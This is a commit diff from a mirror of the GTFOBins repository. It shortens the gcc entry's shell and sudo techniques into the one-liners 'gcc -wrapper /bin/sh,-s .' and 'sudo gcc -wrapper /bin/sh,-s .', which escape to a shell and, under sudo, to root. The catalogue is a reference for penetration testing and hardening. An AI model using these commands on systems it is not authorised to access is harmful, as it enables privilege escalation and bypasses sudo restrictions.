mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Simplify gcc shell
This commit is contained in:
parent
dec4a7f928
commit
dfb01a4c3b
@ -1,17 +1,7 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- code: gcc -wrapper /bin/sh,-s .
|
||||||
TF=$(mktemp -d)
|
|
||||||
echo '#!/bin/sh' > $TF/x
|
|
||||||
echo '/bin/sh' >> $TF/x
|
|
||||||
chmod +x $TF/x
|
|
||||||
gcc -wrapper $TF/x $TF/x
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: sudo gcc -wrapper /bin/sh,-s .
|
||||||
TF=$(mktemp -d)
|
|
||||||
echo '#!/bin/sh' > $TF/x
|
|
||||||
echo '/bin/sh' >> $TF/x
|
|
||||||
chmod +x $TF/x
|
|
||||||
sudo gcc -wrapper $TF/x $TF/x
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user